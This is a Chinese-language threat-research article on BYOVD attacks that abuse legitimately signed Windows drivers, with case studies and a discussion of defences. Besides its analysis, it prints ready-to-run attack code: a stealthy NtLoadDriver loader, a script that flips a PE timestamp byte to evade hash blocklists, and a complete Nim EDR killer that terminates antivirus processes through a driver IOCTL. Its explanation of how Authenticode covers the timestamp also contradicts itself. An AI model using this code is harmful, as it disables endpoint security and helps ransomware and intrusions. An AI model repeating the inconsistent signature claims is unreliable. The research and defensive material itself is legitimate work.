摘要
Bring Your Own Vulnerable Driver（BYOVD）在2025-2026年间完成了一次根本性的攻击范式转移：从依赖已知漏洞驱动的黑名单对抗，进化为滥用未被标记、持有有效合法签名的驱动程序。攻击者不再寻找“有漏洞的驱动”，而是将任何具有内核级特权的签名驱动本身视为攻击面。
当签名成为攻击面
Bring Your Own Vulnerable Driver并非新概念，但其内涵在2025-2026年间已发生根本性漂移。传统定义下的BYOVD——攻击者携带一个已知存在漏洞的合法驱动程序，利用其内核级权限执行恶意操作——过于狭隘地聚焦于“漏洞”本身。BYOVD的核心在于“合法签名 + 漏洞”的组合利用——攻击者无需自行开发驱动，而是从公开渠道（如厂商官网、GitHub、驱动仓库）搜集已被微软WHQL签名、但存在任意写（Arbitrary Write）、UAF（Use-After-Free）等漏洞的旧版驱动（例如ASUS、EVGA等硬件厂商历史驱动）。
更精确的表述是：BYOVD攻击滥用了Windows驱动信任模型的一个根本性假设——签名等同于信任。由于这些驱动具备有效证书，即使在启用了Secure Boot和Driver Signature Enforcement的系统中，仍可被加载执行。Windows内核在加载驱动时验证的是数字签名的密码学有效性，而非驱动本身的安全性。这一信任传递的断裂构成了BYOVD的全部理论基础：攻击者不需要绕过签名验证，他们只需要找到一个签了名的驱动，然后滥用其合法功能。
BYOVD攻击正被广泛用于从勒索软件到国家支持间谍活动的各类隐蔽行动，而大多数公共沙箱仅检查用户态活动，导致此类内核级滥用通常无法被检测。
驱动签名验证的技术基础
要理解BYOVD为何如此难以根治，必须从驱动签名验证的底层机制入手。Windows从Vista开始引入的内核模式代码签名（KMCS）策略，要求所有内核驱动必须携带有效数字签名。签名验证的核心链路如下：驱动程序的PE文件经过哈希运算后，该哈希值使用发行者的私钥进行加密。当系统加载驱动时，验证模块首先检查证书是否由受信任的根证书颁发机构（CA）签发，然后验证证书是否在有效期内且未被吊销，最后验证PE文件的当前哈希值与签名中加密的哈希值是否匹配。
然而，签名验证仅限于验证签名本身的密码学有效性——它不验证驱动内部的代码行为是否存在漏洞，也不验证驱动暴露的IOCTL接口是否可以被用户态任意调用。这种“只管签名、不管行为”的信任模型，为BYOVD攻击提供了结构性的可乘之机。一个持有微软WHQL签名的硬件监控工具驱动，在签名验证层面与一个微软自家内核模块享有同等的信任等级。
从已知漏洞到合法证书
范式转移发生在攻击者不再满足于利用那些已被列入微软易受攻击驱动黑名单（Vulnerable Driver Blocklist）的已知驱动之时。2025-2026年，三个关键趋势标志着这一转变的完成：
第一，未知漏洞驱动的武器化。Silver Fox APT利用的WatchDog反恶意软件驱动（amsdk.sys）是一个典型样本——该驱动持有有效微软签名，但此前从未被报告存在漏洞，也未出现在任何公共黑名单中。Check Point Research于2025年8月首次披露了这一攻击活动。
第二，合法证书的独立滥用。HoneyMyte（Mustang Panda）APT组织使用了2015年过期的广州Kingteller Technology被盗证书来签署自己的内核级迷你过滤驱动——攻击者不再是“利用有漏洞的合法驱动”，而是利用被盗或失效的合法证书签署自己编写的恶意驱动。Huntress在2026年2月的一次入侵响应中发现，攻击者滥用了Guidance Software（EnCase）取证驱动的吊销证书——该证书于2010年到期并随后被吊销，但Windows仍然加载了该驱动。
第三，单字节翻转绕过哈希黑名单。这是范式转移中最精致的攻击手法。当WatchDog厂商发布了修复版本（1.1.100）并通过更严格的DACL限制特权提升漏洞后，Silver Fox迅速适应：仅翻转驱动文件中时间戳字段的一个字节，在完整保留微软数字签名的同时改变了文件哈希值，从而绕过了基于哈希的黑名单机制。
这三个趋势共同指向一个结论：攻击者的关注点已从“驱动内部的代码漏洞”转移到“签名信任体系的结构性缺陷”。 驱动签名本身——而非驱动代码中的bug——成为了最大的攻击面。
实验到工业化
双驱动
Check Point Research于2025年8月首次披露了Silver Fox APT组织利用微软签名驱动的大规模攻击活动。该组织自2024年以来已从经济动机的网络犯罪演变为复杂的APT式行动。Silver Fox采用了一种精巧的双驱动策略以覆盖不同Windows版本——在Windows 7系统上使用已知存在漏洞的Zemana驱动，而在Windows 10/11系统上则部署了此前未被报告的WatchDog反恶意软件驱动（amsdk.sys，版本1.0.600）。
为了使用该方法，攻击者需要将漏洞驱动加载到内核。典型方法如下：
// 方法一：使用 SC 命令创建并启动内核服务
// sc.exe create MalDriver binPath= "C:\path\to\vuln.sys"type= kernel
// sc.exe start MalDriver
// 方法二：程序化加载驱动 —— 直接设置注册表并通过 NtLoadDriver 调用
#define SERVICE_NAME L"SilentLoad"
#define DRIVER_PATH L"\\??\\C:\\Windows\\System32\\drivers\\SilentLoad.sys"
#include <windows.h>
#include <winternl.h>
// NtLoadDriver 是未公开内核函数，需要手动定义
typedef NTSTATUS (NTAPI *pNtLoadDriver)(PUNICODE_STRING);
typedef NTSTATUS (NTAPI *pNtUnloadDriver)(PUNICODE_STRING);
BOOL LoadDriverStealth(LPCWSTR driverPath) {
// 1. 创建服务注册表键
HKEY hKey;
LSTATUS status = RegCreateKeyExW(
HKEY_LOCAL_MACHINE,
L"SYSTEM\\CurrentControlSet\\Services\\SilentLoad",
0, NULL, REG_OPTION_NON_VOLATILE,
KEY_ALL_ACCESS, NULL, &hKey, NULL
);
if (status != ERROR_SUCCESS) return FALSE;
// 2. 设置驱动路径、服务类型、启动类型
RegSetValueExW(hKey, L"ImagePath", 0, REG_EXPAND_SZ,
(BYTE*)DRIVER_PATH, wcslen(DRIVER_PATH) * 2 + 2);
DWORD svcType = 1; // SERVICE_KERNEL_DRIVER
DWORD startType = 3; // SERVICE_DEMAND_START
RegSetValueExW(hKey, L"Type", 0, REG_DWORD, (BYTE*)&svcType, 4);
RegSetValueExW(hKey, L"Start", 0, REG_DWORD, (BYTE*)&startType, 4);
RegSetValueExW(hKey, L"ErrorControl", 0, REG_DWORD, (BYTE*)&svcType, 4);
RegCloseKey(hKey);
// 3. 通过 NtLoadDriver 静默加载（回避 SC 管理器告警）
pNtLoadDriver NtLoadDriver = (pNtLoadDriver)GetProcAddress(
GetModuleHandle(L"ntdll.dll"), "NtLoadDriver");
UNICODE_STRING ustr;
RtlInitUnicodeString(&ustr, L"\\Registry\\Machine\\System\\"
L"CurrentControlSet\\Services\\SilentLoad");
return NT_SUCCESS(NtLoadDriver(&ustr));
}两种驱动均赋予攻击者终止任意进程和提升权限的能力，从而在内核层面彻底瓦解终端保护。
攻击链高度模块化：初始感染通常通过针对企业税务流程的钓鱼邮件实施——攻击者伪装成税务审计通知、报税软件安装程序和云端电子发票下载链接。FortiGuard Labs在台湾地区观测到的多起针对性攻击活动显示，攻击者使用了恶意LNK文件、DLL侧加载、以及BYOVD攻击（利用wsftprm.sys驱动）等多种投递技术。在成功关闭安全软件后，一体化加载器会安装ValleyRAT（又名Winos 4.0），该远控木马可与C2服务器通信、执行远程命令并窃取敏感数据，同时具备反虚拟机、反沙箱等反分析功能。
单字节翻转
WatchDog厂商在收到漏洞报告后迅速发布了补丁版本（1.1.100），通过实施更严格的自主访问控制列表（DACL）来限制对驱动的访问。然而Silver Fox的适应速度令防御方措手不及：攻击者只修改了驱动文件中时间戳字段的一个字节——在保留微软完整数字签名的同时，生成了全新的文件哈希值。
这一手法的原理极为精巧。Windows驱动签名验证中的Authenticode机制将PE文件的多个部分纳入哈希计算范围，其中包括PE头中的时间戳字段。时间戳字段的修改不会使签名失效——因为签名验证的核心逻辑是“证书有效 + 签名匹配”，而非“时间戳是否被修改过”。攻击者只需在PE头的IMAGE_FILE_HEADER.TimeDateStamp字段处翻转一个比特，文件哈希即完全改变，但嵌入文件中的数字签名仍然通过密码学验证。
这意味着基于文件哈希的驱动黑名单从根本上是脆弱的。以下Python脚本演示了单字节翻转的具体实现：
#!/usr/bin/env python3
"""
sig_flip.py — 翻转 PE 时间戳的单个比特位
效果：修改文件 SHA-256 哈希，同时完整保留原始数字签名
原理：PE 头中的 TimeDateStamp 字段不在 Authenticode 签名哈希校验范围内
"""
import struct
import sys
import shutil
def flip_timestamp_byte(input_path, output_path):
"""翻转 PE 文件时间戳的最低有效字节"""
shutil.copy2(input_path, output_path)
with open(output_path, 'r+b') as f:
# 读取 DOS 头，定位 PE 签名偏移（e_lfanew 位于 0x3C）
f.seek(0x3C)
pe_offset = struct.unpack('<I', f.read(4))[0]
# PE 签名后紧跟 COFF 文件头，TimeDateStamp 位于 PE_SIGNATURE(4) + COFF(20) = +4
timestamp_offset = pe_offset + 4 + 4 # +4 跳过 Signature, +4 跳过 Machine+NumberOfSections
f.seek(timestamp_offset)
timestamp = struct.unpack('<I', f.read(4))[0]
# 翻转最低有效位
new_timestamp = timestamp ^ 0x01
f.seek(timestamp_offset)
f.write(struct.pack('<I', new_timestamp))
print(f"[*] 原始时间戳: 0x{timestamp:08X}")
print(f"[*] 新时间戳: 0x{new_timestamp:08X}")
print(f"[*] 新文件已保存至: {output_path}")
print(f"[*] 请运行 signtool verify /pa {output_path} 验证签名")
if __name__ == '__main__':
if len(sys.argv) != 3:
print(f"用法: python {sys.argv[0]} <输入驱动.sys> <输出驱动.sys>")
sys.exit(1)
flip_timestamp_byte(sys.argv[1], sys.argv[2])一个有效的签名可以对应理论上无限数量的文件哈希变体——攻击者只需要找到签名覆盖范围内任意一个可修改的字段，就能在不破坏签名的前提下生成新的哈希值。这是微软易受攻击驱动黑名单（Vulnerable Driver Blocklist）的一个结构性盲区，直至2025年8月CVE-2025-59033才被正式记录——该漏洞指出，WDAC策略中仅通过签名证书的TBS哈希来阻止驱动条目的方式存在绕过风险。
证书独立滥用路径
HoneyMyte（Mustang Panda）APT组织开辟了另一条攻击路径：不利用任何已知驱动中的漏洞，而是使用从合法供应商处窃取的真实代码签名证书来签署自定义恶意驱动。该组织使用了2015年到期被盗证书，签署了一个内核级迷你过滤驱动，用于拦截IRP和注入ToneShell后门。
这一攻击路径比Silver Fox的“驱动漏洞利用”更具颠覆性——它绕过了针对“已知漏洞驱动”的所有检测逻辑。攻击者的驱动代码本身是自定义编写的恶意代码，但其签名却来自一个真实存在过的合法实体。在Windows的签名验证视角下，该驱动完全合法——证书链有效、根CA受信、签名密码学正确。唯一的瑕疵是证书已于2015年到期，但正如Huntress在EnCase驱动案例中所揭示的，Windows Driver Signature Enforcement对吊销证书的加载存在结构性缺口。
勒索软件产业链EDR杀手工业化
在勒索软件即服务（RaaS）生态系统中，EDR杀手工具已成为标准化组件。
以NimBlackout为例，NimBlackout是EDR杀手工具的Nim语言实现，相比C++版本生成的二进制逆向难度显著更高：
# NimBlackout.nim —— 利用 BYOVD 终止 AV/EDR 进程（Nim 语言版本）
# 用法: nim c NimBlackout.nim && NimBlackout.exe MsMpEng.exe
# 需要 Blackout.sys 驱动文件位于当前目录
import os
import winim
import strformat
# 驱动设备名和 IOCTL 定义
const
DEVICE_NAME = "\\\\.\\Blackout"
IOCTL_KILL = 0x222004
proc killProcess(pid: DWORD): bool =
let hDevice = CreateFileW(
DEVICE_NAME,
GENERIC_READ or GENERIC_WRITE,
0, NULL, OPEN_EXISTING, 0, NULL
)
if hDevice == INVALID_HANDLE_VALUE:
echo fmt"[-] 无法打开设备: {DEVICE_NAME}"
returnfalse
var inBuf: array[4, byte]
copyMem(addr inBuf[0], unsafeAddr pid, sizeof(DWORD))
var bytesReturned: DWORD = 0
let result = DeviceIoControl(
hDevice, IOCTL_KILL,
addr inBuf[0], DWORD(sizeof(inBuf)),
NULL, 0,
addr bytesReturned, NULL
)
CloseHandle(hDevice)
return result != 0
proc main() =
if paramCount() < 1:
echo"用法: NimBlackout.exe <进程名>"
quit(1)
let targetName = paramStr(1)
# 获取目标进程 PID
let snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0)
var pe32: PROCESSENTRY32W
pe32.dwSize = DWORD(sizeof(PROCESSENTRY32W))
if Process32FirstW(snapshot, addr pe32):
whiletrue:
let name = $cast[PWSTR](addr pe32.szExeFile[0])
if name == targetName:
echo fmt"[+] 发现目标进程: {name} (PID: {pe32.th32ProcessID})"
if killProcess(pe32.th32ProcessID):
echo fmt"[+] 成功终止进程: {name}"
else:
echo fmt"[-] 终止失败: {name}"
if not Process32NextW(snapshot, addr pe32):
break
CloseHandle(snapshot)
main()ESET的研究揭示了一个令人警醒的数据：近90个被检测到的EDR杀手工具中，有54个利用BYOVD技术，共同滥用35个不同的易受攻击驱动。这些工具被划分为三个来源：封闭的勒索软件团伙（如DeadLock和Warlock，不使用分支机构）、攻击者基于已有PoC代码进行分支和修改（如SmilingKiller和TfSysMon-Killer），以及在暗网市场上以服务形式销售此类工具的网络犯罪团伙（如DemoKiller和ABYSSWORKER）。
BYOVD在勒索软件攻击链中的角色定位已经标准化——它是加密阶段之前的“安全清障器”。勒索软件作者面临一个实际困境：加密器天然具有高噪音特征，因为需要在短时间内修改大量文件，使其难以做到完全免杀。解决之道是将EDR终止作为一个独立的、专业化的外部组件来运行，保持加密器本身的简单、稳定和易于重建。
2026年初Huntress响应的一起入侵事件中，攻击者利用泄露的SonicWall SSLVPN凭证获得初始访问权限后，部署了一个滥用EnCase取证驱动的EDR杀手。该二进制文件伪装为合法的固件更新工具，采用了一种极为巧妙的编码技术隐藏其嵌入的内核驱动——它使用一个256词的词典替换密码，将驱动文件的每个字节转换为一个英语单词。例如，“about”对应0x00，“block”对应0x4D，“both”对应0x5A。384,528字节的驱动被转换为空格分隔的英文单词字符串，在二进制数据段中看起来完全无害，有效规避了静态分析工具。
从IOCTL到信任移除
BYOVD攻击的技术核心在于滥用驱动暴露的IOCTL（输入/输出控制）接口。安全研究员core-jmp在对一个用于终止CrowdStrike Falcon的零日驱动进行逆向分析时，揭示了BYOVD驱动滥用的标准操作模式。
使用IDA Pro进行技术分析时，研究人员绕过了被混淆的入口点以检查驱动的核心设备控制处理程序。在清理了严重受损的反编译代码后，他们发现了一个危险的IOCTL接口——具体而言，IOCTL代码0x22E010触发了一个专用的进程终止例程。该驱动将进程ID作为字符串接收，使用标准C函数将其转换为整数，然后执行终止命令。
真正的危险在于驱动从内核级别终止安全进程的方式——它使用ZwOpenProcess和ZwTerminateProcess内核函数来强制终止活跃的应用程序。在标准用户模式下尝试关闭受保护进程轻量级（PPL）服务（如CrowdStrike）会导致立即被拒绝访问；然而，内核级命令完全绕过了这些用户态保护。
这种攻击模式具有通用性：合法驱动程序（反作弊、硬件监控、备份、取证工具）通常暴露用于内存读写、进程管理或寄存器访问的IOCTL接口。这些接口在设计时面向受信任的管理员或系统服务调用场景，因此没有实施严格的访问控制。一旦被恶意用户态进程调用，这些合法的内核功能立即转化为攻击能力。这并非驱动漏洞的传统定义——驱动程序完全按照设计正常工作。问题在于设计本身没有预见到调用者可能是不受信任的。
面对BYOVD攻击的持续升级，微软在2026年3月宣布了一项影响深远的政策变更：从2026年4月更新开始，Windows 11（24H2/25H2/26H1）和Windows Server 2025将默认移除对旧版交叉签名根程序签发驱动程序的信任，未来所有新内核驱动程序必须通过Windows硬件兼容性计划（WHCP）进行认证。微软正通过收紧内核级驱动程序的信任和加载方式来推行一项重大的Windows 11安全升级，目标锁定在已存在于系统中超过十年的过时签名方法。为了防止系统崩溃，微软目前推荐的防御方法是通过WDAC策略阻止已知易受攻击驱动程序的加载。以下XML展示了基于证书TBS哈希的WDAC拒绝策略的完整结构：
<!-- WDAC 策略 XML — 基于 TBS 哈希（证书指纹）阻止特定驱动程序 -->
<?xml version="1.0" encoding="utf-8"?>
<SiPolicy xmlns="urn:schemas-microsoft-com:sipolicy">
<VersionEx>1.0.0.0</VersionEx>
<PolicyTypeID>{A244370E-44C9-4C06-B551-F6016E563076}</PolicyTypeID>
<PlatformID>{2E07F7E4-194C-4D20-B7C9-6F44A6C5A234}</PlatformID>
<Rules>
<Rule>
<Option>Enabled:UnsignedSystemIntegrityPolicy</Option>
</Rule>
<Rule>
<Option>Enabled:AdvancedBootOptionsMenu</Option>
</Rule>
<Rule>
<Option>Enabled:AuditMode</Option>
</Rule>
</Rules>
<!-- 基于签名证书的 TBS 哈希阻止易受攻击驱动 -->
<Signers>
<Signer ID="ID_SIGNER_VULN_DRIVER_1" Name="TPZ SOLUCOES DIGITAIS LTDA">
<CertRoot Type="TBS" Value="A1B2C3D4E5F6..." />
</Signer>
</Signers>
<!-- 明确拒绝列表 — 禁止加载 -->
<SigningScenarios>
<SigningScenario ID="ID_SIGNINGSCENARIO_DRIVERS"
FriendlyName="内核驱动程序签名方案"
Value="131">
<ProductSigners>
<DeniedSigners>
<DeniedSigner SignerId="ID_SIGNER_VULN_DRIVER_1" />
</DeniedSigners>
</ProductSigners>
</SigningScenario>
</SigningScenarios>
<!-- 更新策略 — 通过 Microsoft Symbol Server 推送更新 -->
<UpdatePolicySigner
SignerId="ID_SIGNER_MICROSOFT_UPDATE"
CertRoot Type="TBS" Value="..." />
</SiPolicy>这一政策变更的象征意义大于其即时防御效果。它承认了驱动签名生态中一个长期存在的结构性问题——大量的交叉签名驱动持有有效签名，但其代码质量和安全审计水平参差不齐，且开发这些驱动的供应商可能已不再维护其产品。从2025年8月CVE-2025-59033首次记录了WDAC策略中驱动阻止的绕过风险，到2026年3月微软宣布交叉签名信任移除，再到2026年4月政策正式生效，整个时间线显示出微软正在以前所未有的速度压缩BYOVD的攻击窗口。
但交叉签名信任移除并非万能药。其覆盖范围仅限于通过旧版交叉签名根程序签发的驱动程序。通过WHCP认证的驱动仍然可能包含漏洞或暴露危险的IOCTL接口——它们只是通过了更严格的提交和测试流程，并不能保证运行时行为的安全性。此外，对于已经部署在企业环境中的海量旧版驱动，信任移除可能导致兼容性问题，这也是微软需要维护显式允许列表的原因。
BYOVD攻击之所以难以检测，核心原因在于其行为发生在传统EDR的监控盲区。此类攻击不依赖传统注入、Hook或shellcode执行，而是通过驱动暴露的IOCTL接口直接与内核交互，绕过用户态EDR监控。一旦成功利用，攻击者即可修改任意进程的EPROCESS.Token实现权限提升至SYSTEM，覆写目标安全软件进程的内存或关键结构使其异常退出，在HVCI未启用的环境中实现近乎“无痕”的内核控制。
EURECOM在NDSS 2026上发表的系统研究进一步量化了这一盲区：该研究分析了8,779个加载了773个不同签名驱动的恶意样本，标记了48个驱动中的可疑行为，并通过后续手动验证向微软及其供应商负责任地披露了7个此前未知的易受攻击驱动程序。研究者提出的基于虚拟化的沙箱能够追踪驱动程序执行的每一步，从原始用户态请求到最底层的内核指令，而无需对驱动进行重新签名或修改主机。
范式转移的深层含义
驱动签名在设计之初被赋予了远超出其实际能力的安全期望。签名的密码学意义在于验证文件的来源和完整性——它回答的问题是“这个驱动确实由声称的发行者发布，且在签名后未被篡改”。但Windows内核加载机制将这一密码学保证等同于“该驱动可以安全地在内核模式下执行”，从而在信任传递过程中制造了一个巨大的语义鸿沟。攻击者在2025年已经系统地学习如何驾驭这个鸿沟——他们不再试图伪造签名、偷窃未吊销的证书、或利用代码漏洞，而是在完全合法的签名框架内操作，获取内核级权限。
微软的交叉签名信任移除政策代表了对这一问题的结构性补救的开始，但驱动安全的本质挑战远未解决。通过WHCP认证的驱动同样可能暴露危险IOCTL、同样可能被滥用。只要内核模式下运行的代码可以被用户态以任何方式触发敏感操作，BYOVD的威胁模型就仍然成立。
防御方的策略需要同步实现范式转移：从基于哈希的驱动黑名单转向基于行为的运行时监控，从静态的签名验证转向动态的IOCTL语义分析。天穹沙箱采用的三维检测方法——驱动加载行为识别、内核内存异常操作语义分析、杀软进程异常终止关联分析——代表了一种可行的方向。但更根本的解决方案在于重新设计驱动模型本身，将最小权限原则从用户态延伸到内核态：一个反作弊驱动不应拥有终止任意进程的能力，一个硬件监控驱动不应拥有写入任意内核内存的能力。